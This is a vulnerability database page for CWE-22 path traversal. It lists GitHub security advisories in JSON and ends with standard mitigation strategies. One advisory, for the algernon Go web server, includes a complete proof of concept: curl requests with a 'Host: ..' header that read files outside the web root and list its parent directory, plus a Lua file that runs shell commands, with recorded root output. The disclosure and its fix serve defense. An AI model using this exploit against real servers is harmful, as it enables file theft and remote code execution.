CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13340 vulnerabilities reference this CWE, most recent first.
GHSA-J9X2-6WWJ-W3X6
Vulnerability from github – Published: 2026-03-02 21:31 – Updated: 2026-03-06 06:30In multiple locations, there is a possible bypass of a file path filter designed to prevent access to sensitive directories due to incorrect unicode normalization. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-48567"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-02T19:16:25Z",
"severity": "HIGH"
},
"details": "In multiple locations, there is a possible bypass of a file path filter designed to prevent access to sensitive directories due to incorrect unicode normalization. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-j9x2-6wwj-w3x6",
"modified": "2026-03-06T06:30:29Z",
"published": "2026-03-02T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48567"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2026-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JC27-MGM6-6F8M
Vulnerability from github – Published: 2022-05-02 03:25 – Updated: 2022-05-02 03:25Directory traversal vulnerability in admin/load.php in FunGamez RC1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the module parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2009-1488"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-29T18:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in admin/load.php in FunGamez RC1 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the module parameter to index.php.",
"id": "GHSA-jc27-mgm6-6f8m",
"modified": "2022-05-02T03:25:40Z",
"published": "2022-05-02T03:25:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1488"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50091"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8493"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=124025031126068\u0026w=2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34610"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1117"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JC2F-55P8-6HMW
Vulnerability from github – Published: 2026-07-07 15:32 – Updated: 2026-07-07 15:32Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access to the system. This is a critical severity vulnerability as it allows an attacker to take complete control of system; so Dell recommends customers to upgrade at the earliest opportunity.
{
"affected": [],
"aliases": [
"CVE-2026-53481"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T13:16:31Z",
"severity": "CRITICAL"
},
"details": "Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access to the system. This is a critical severity vulnerability as it allows an attacker to take complete control of system; so Dell recommends customers to upgrade at the earliest opportunity.",
"id": "GHSA-jc2f-55p8-6hmw",
"modified": "2026-07-07T15:32:57Z",
"published": "2026-07-07T15:32:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53481"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000481268/dsa-2026-278-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JC3G-M4MJ-MM5M
Vulnerability from github – Published: 2026-07-29 15:31 – Updated: 2026-07-29 15:31Joomla Extension - balbooa.com - Unauthenticated arbitrary file read in Gridbox < 2.20.2 - The photo viewer allows unauthenticated attackers to view arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2026-65886"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-29T15:16:28Z",
"severity": "CRITICAL"
},
"details": "Joomla Extension - balbooa.com - Unauthenticated arbitrary file read in Gridbox \u003c 2.20.2 - The photo viewer allows unauthenticated attackers to view arbitrary files.",
"id": "GHSA-jc3g-m4mj-mm5m",
"modified": "2026-07-29T15:31:13Z",
"published": "2026-07-29T15:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65886"
},
{
"type": "WEB",
"url": "https://mysites.guru/blog/gridbox-23-critical-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.balbooa.com/gridbox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC3H-M5Q6-X7VP
Vulnerability from github – Published: 2026-03-09 09:30 – Updated: 2026-03-09 09:30A low-privileged remote attacker can abuse the backup restore functionality of UBR (ubr-restore) which runs with elevated privileges and does not validate the contents of the backup archive to create or overwrite arbitrary files anywhere on the system.
{
"affected": [],
"aliases": [
"CVE-2025-41757"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-09T09:15:59Z",
"severity": "HIGH"
},
"details": "A low-privileged remote attacker can abuse the backup restore functionality of UBR (ubr-restore) which runs with elevated privileges and does not validate the contents of the backup archive to create or overwrite arbitrary files anywhere on the system.",
"id": "GHSA-jc3h-m5q6-x7vp",
"modified": "2026-03-09T09:30:30Z",
"published": "2026-03-09T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41757"
},
{
"type": "WEB",
"url": "https://www.mbs-solutions.de/mbs-2025-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JC3J-X6PG-4HMV
Vulnerability from github – Published: 2026-06-23 21:49 – Updated: 2026-06-23 21:49Summary
When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.
Details
engine/handlers.go (function RegisterHandlers, around line 510):
allRequests := func(w http.ResponseWriter, req *http.Request) {
...
servedir := servedir
if addDomain {
servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531
}
...
filename := utils.URL2filename(servedir, urlpath)
utils/web.go (GetDomain):
func GetDomain(req *http.Request) string {
host, _, err := net.SplitHostPort(req.Host)
if err != nil {
return req.Host // <— Host header returned verbatim
}
return host
}
utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:
func URL2filename(dirname, urlpath string) string {
if strings.Contains(urlpath, "..") {
return dirname + Pathsep // dirname is trusted here
}
...
}
engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):
if ac.useCertMagic {
...
ac.serverAddDomain = true // <— line 372
}
Putting it together:
- The client sends
Host: ... Go's HTTP server accepts the value because.is in the URI host whitelist and there are no other characters to validate;req.Hostis... GetDomainreturns..(no port,net.SplitHostPortfails — fallback path).filepath.Join("/srv/algernon", "..")cleans to/srv.URL2filename("/srv", "/SECRET.txt")returns/srv/SECRET.txt, which the handler opens withFilePage.- For directory targets,
DirPagelists the parent — sending/afterHost: ..produces an HTML index of the parent of the docroot. - If a file with a recognised algernon extension (
.lua,.tl,.po2,.amber,.frm,.md, ...) is in the parent, the matching renderer runs server-side..luatriggers full Lua execution, includingrun3(...)which callsexec.Command("sh", "-c", command)(seelua/run3/run3.go:23).
Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.
This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).
PoC
Build the affected version:
git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .
Reproduce manually:
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print(" "..v) end
LUA
/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1
# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR
# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...
# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
# uid=0(root) gid=0(root) groups=0(root)
# Linux ...
Recorded output from a real run:
[2] arbitrary file read via Host: ..
TOP-SECRET FROM PARENT DIR
[3] directory listing of parent via Host: ..
bytes=1278, links=1
sample:
href="/alg.log"
href="/site/"
href="/SECRET.txt"
[4] Lua RCE via Host: .. when .lua exists in parent
=== RCE ===
uid=0(root) gid=0(root) groups=0(root)
Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
EXIT=0
Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.
Impact
- An unauthenticated remote attacker who can send a single HTTP request with a
Host: ..header can read arbitrary files inparent(--dir)and enumerate that directory. - When
--letsencryptis used (the recommended way to obtain HTTPS),--domainis enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical
--prodinvocation documented inengine/config.go:208(serverDirOrFilename = "/srv/algernon"), the parent is/srv; in multi-domain setups the parent often holds sibling site directories and shared.lualibraries.
Suggested fix
Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:
// engine/handlers.go, where addDomain is consumed
if addDomain {
domain := utils.GetDomain(req)
if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
w.WriteHeader(http.StatusBadRequest)
return
}
servedir = filepath.Join(servedir, domain)
}
A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/xyproto/algernon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48126"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-644"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:49:11Z",
"nvd_published_at": "2026-05-26T17:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory \u2014 arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.\n\n### Details\n\n`engine/handlers.go` (function `RegisterHandlers`, around line 510):\n\n```go\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n ...\n servedir := servedir\n if addDomain {\n servedir = filepath.Join(servedir, utils.GetDomain(req)) // \u003c\u2014 line 531\n }\n ...\n filename := utils.URL2filename(servedir, urlpath)\n```\n\n`utils/web.go` (`GetDomain`):\n\n```go\nfunc GetDomain(req *http.Request) string {\n host, _, err := net.SplitHostPort(req.Host)\n if err != nil {\n return req.Host // \u003c\u2014 Host header returned verbatim\n }\n return host\n}\n```\n\n`utils/files.go` (`URL2filename`) only sanitises the URL path \u2014 it never inspects `dirname`:\n\n```go\nfunc URL2filename(dirname, urlpath string) string {\n if strings.Contains(urlpath, \"..\") {\n return dirname + Pathsep // dirname is trusted here\n }\n ...\n}\n```\n\n`engine/flags.go` (auto-enable in CertMagic / Let\u0027s Encrypt mode):\n\n```go\nif ac.useCertMagic {\n ...\n ac.serverAddDomain = true // \u003c\u2014 line 372\n}\n```\n\nPutting it together:\n\n1. The client sends `Host: ..`. Go\u0027s HTTP server accepts the value because `.` is in the URI host whitelist and there are no other characters to validate; `req.Host` is `..`.\n2. `GetDomain` returns `..` (no port, `net.SplitHostPort` fails \u2014 fallback path).\n3. `filepath.Join(\"/srv/algernon\", \"..\")` cleans to `/srv`.\n4. `URL2filename(\"/srv\", \"/SECRET.txt\")` returns `/srv/SECRET.txt`, which the handler opens with `FilePage`.\n5. For directory targets, `DirPage` lists the parent \u2014 sending `/` after `Host: ..` produces an HTML index of the parent of the docroot.\n6. If a file with a recognised algernon extension (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`, `.md`, ...) is in the parent, the matching renderer runs server-side. `.lua` triggers full Lua execution, including `run3(...)` which calls `exec.Command(\"sh\", \"-c\", command)` (see `lua/run3/run3.go:23`).\n\nMulti-level traversal is blocked at the protocol layer because the Go HTTP parser rejects `/` in the `Host:` value, but a single `..` is enough to step outside the operator\u0027s intended docroot \u2014 and many operators put scripts, configs, certificates, log files, or sibling sites in `parent(serverDir)`. `--letsencrypt` is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.\n\nThis bug is distinct from the previously-fixed `handler.lua` parent-walk (GHSA-xwcr-wm99-g9jc) \u2014 that one used the *handler.lua discovery loop* and walked above `rootdir`; this one stays inside the normal `FilePage` path and rewrites `rootdir` itself through `filepath.Join(servedir, req.Host)`. It is also distinct from the upload `savein()` issue (GHSA-2j2c-pv62-mmcp).\n\n### PoC\n\nBuild the affected version:\n\n```\ngit clone https://github.com/xyproto/algernon\ncd algernon\ngo build -o /tmp/algernon .\n```\n\nReproduce manually:\n\n```\nWORK=$(mktemp -d)\nmkdir -p $WORK/site\necho \u0027\u003ch1\u003epublic\u003c/h1\u003e\u0027 \u003e $WORK/site/index.html\necho \u0027TOP-SECRET FROM PARENT DIR\u0027 \u003e $WORK/SECRET.txt\ncat \u003e $WORK/pwn.lua \u003c\u003c\u0027LUA\u0027\nprint(\"=== RCE ===\")\nlocal out, err, code = run3(\"id; uname -a\")\nfor _,v in ipairs(out) do print(\" \"..v) end\nLUA\n\n/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit \u0026\nsleep 1\n\n# 1. Arbitrary file read\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/SECRET.txt\n# -\u003e TOP-SECRET FROM PARENT DIR\n\n# 2. Parent directory listing\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/ | grep -oP \u0027href=\"[^\"]+\"\u0027 | head\n# -\u003e href=\"/SECRET.txt\", href=\"/pwn.lua\", href=\"/site/\", ...\n\n# 3. Server-side Lua execution (RCE)\ncurl -H \u0027Host: ..\u0027 http://127.0.0.1:7799/pwn.lua\n# -\u003e === RCE ===\n# uid=0(root) gid=0(root) groups=0(root)\n# Linux ...\n```\n\nRecorded output from a real run:\n\n```\n[2] arbitrary file read via Host: ..\n TOP-SECRET FROM PARENT DIR\n\n[3] directory listing of parent via Host: ..\n bytes=1278, links=1\n sample:\n href=\"/alg.log\"\n href=\"/site/\"\n href=\"/SECRET.txt\"\n\n[4] Lua RCE via Host: .. when .lua exists in parent\n === RCE ===\n uid=0(root) gid=0(root) groups=0(root)\n Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux\n EXIT=0\n```\n\nSteps 2 and 3 reproduce with default flags (`--domain` alone, or `--letsencrypt` in production). Step 4 additionally requires a `.lua` file in the parent \u2014 common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.\n\n### Impact\n\n- An unauthenticated remote attacker who can send a single HTTP request with a `Host: ..` header can read arbitrary files in `parent(--dir)` and enumerate that directory.\n- When `--letsencrypt` is used (the recommended way to obtain HTTPS), `--domain` is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.\n- The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical `--prod` invocation documented in `engine/config.go:208` (`serverDirOrFilename = \"/srv/algernon\"`), the parent is `/srv`; in multi-domain setups the parent often holds sibling site directories and shared `.lua` libraries.\n\n### Suggested fix\n\nReject Host header values that contain `..`, `/`, `\\`, or that resolve outside the configured `serverDirOrFilename`. The simplest patch:\n\n```go\n// engine/handlers.go, where addDomain is consumed\nif addDomain {\n domain := utils.GetDomain(req)\n if domain == \"\" || strings.ContainsAny(domain, \"/\\\\\") || strings.Contains(domain, \"..\") {\n w.WriteHeader(http.StatusBadRequest)\n return\n }\n servedir = filepath.Join(servedir, domain)\n}\n```\n\nA stronger fix when CertMagic is active is to constrain the lookup to the `certMagicDomains` allow-list that `flags.go` already builds.",
"id": "GHSA-jc3j-x6pg-4hmv",
"modified": "2026-06-23T21:49:11Z",
"published": "2026-06-23T21:49:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xyproto/algernon/security/advisories/GHSA-jc3j-x6pg-4hmv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48126"
},
{
"type": "PACKAGE",
"url": "https://github.com/xyproto/algernon"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir"
}
GHSA-JC4Q-H995-9F9W
Vulnerability from github – Published: 2026-01-18 06:30 – Updated: 2026-01-18 06:30A vulnerability has been found in Sanluan PublicCMS up to 5.202506.d. This impacts the function Save of the file com/publiccms/controller/admin/sys/TaskTemplateAdminController.java of the component Task Template Management Handler. Such manipulation of the argument path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-1111"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-18T06:16:01Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Sanluan PublicCMS up to 5.202506.d. This impacts the function Save of the file com/publiccms/controller/admin/sys/TaskTemplateAdminController.java of the component Task Template Management Handler. Such manipulation of the argument path leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-jc4q-h995-9f9w",
"modified": "2026-01-18T06:30:23Z",
"published": "2026-01-18T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1111"
},
{
"type": "WEB",
"url": "https://github.com/AnalogyC0de/public_exp/issues/2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.341703"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.341703"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.732726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JC6G-647J-W9G6
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41The Baseboard Management Controller (BMC) firmware in HPE Apollo 70 System prior to version 3.0.14.0 has a path traversal vulnerability in libifc.so webdeletesolvideofile function.
{
"affected": [],
"aliases": [
"CVE-2021-26575"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-08T20:15:00Z",
"severity": "HIGH"
},
"details": "The Baseboard Management Controller (BMC) firmware in HPE Apollo 70 System prior to version 3.0.14.0 has a path traversal vulnerability in libifc.so webdeletesolvideofile function.",
"id": "GHSA-jc6g-647j-w9g6",
"modified": "2022-05-24T17:41:20Z",
"published": "2022-05-24T17:41:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26575"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf04080en_us"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JC7H-C423-MPJC
Vulnerability from github – Published: 2024-01-15 12:30 – Updated: 2025-11-04 16:49Apache Shiro before 1.130 or 2.0.0-alpha-4, may be susceptible to a path traversal attack that results in an authentication bypass when used together with path rewriting
Mitigation: Update to Apache Shiro 1.13.0+ or 2.0.0-alpha-4+, or ensure blockSemicolon is enabled (this is the default).
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.shiro:shiro-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.0.0alpha4"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.shiro:shiro-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0alpha1"
},
{
"fixed": "2.0.0-alpha4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46749"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-16T20:34:50Z",
"nvd_published_at": "2024-01-15T10:15:26Z",
"severity": "MODERATE"
},
"details": "Apache Shiro before 1.130 or 2.0.0-alpha-4, may be susceptible to a path traversal attack that results in an authentication bypass when used together with path rewriting \n\nMitigation: Update to Apache Shiro 1.13.0+ or 2.0.0-alpha-4+, or ensure `blockSemicolon` is enabled (this is the default).",
"id": "GHSA-jc7h-c423-mpjc",
"modified": "2025-11-04T16:49:23Z",
"published": "2024-01-15T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46749"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/mdv7ftz7k4488rzloxo2fb0p9shnp9wm"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241108-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Shiro vulnerable to path traversal"
}
GHSA-JC86-JRJV-444J
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37If exploited, this absolute path traversal vulnerability could allow attackers to traverse files in File Station. QNAP has already fixed these issues in QES 2.1.1 Build 20201006 and later.
{
"affected": [],
"aliases": [
"CVE-2020-2504"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-24T02:15:00Z",
"severity": "HIGH"
},
"details": "If exploited, this absolute path traversal vulnerability could allow attackers to traverse files in File Station. QNAP has already fixed these issues in QES 2.1.1 Build 20201006 and later.",
"id": "GHSA-jc86-jrjv-444j",
"modified": "2022-05-24T17:37:12Z",
"published": "2022-05-24T17:37:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2504"
},
{
"type": "WEB",
"url": "https://www.qnap.com/zh-tw/security-advisory/qsa-20-17"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
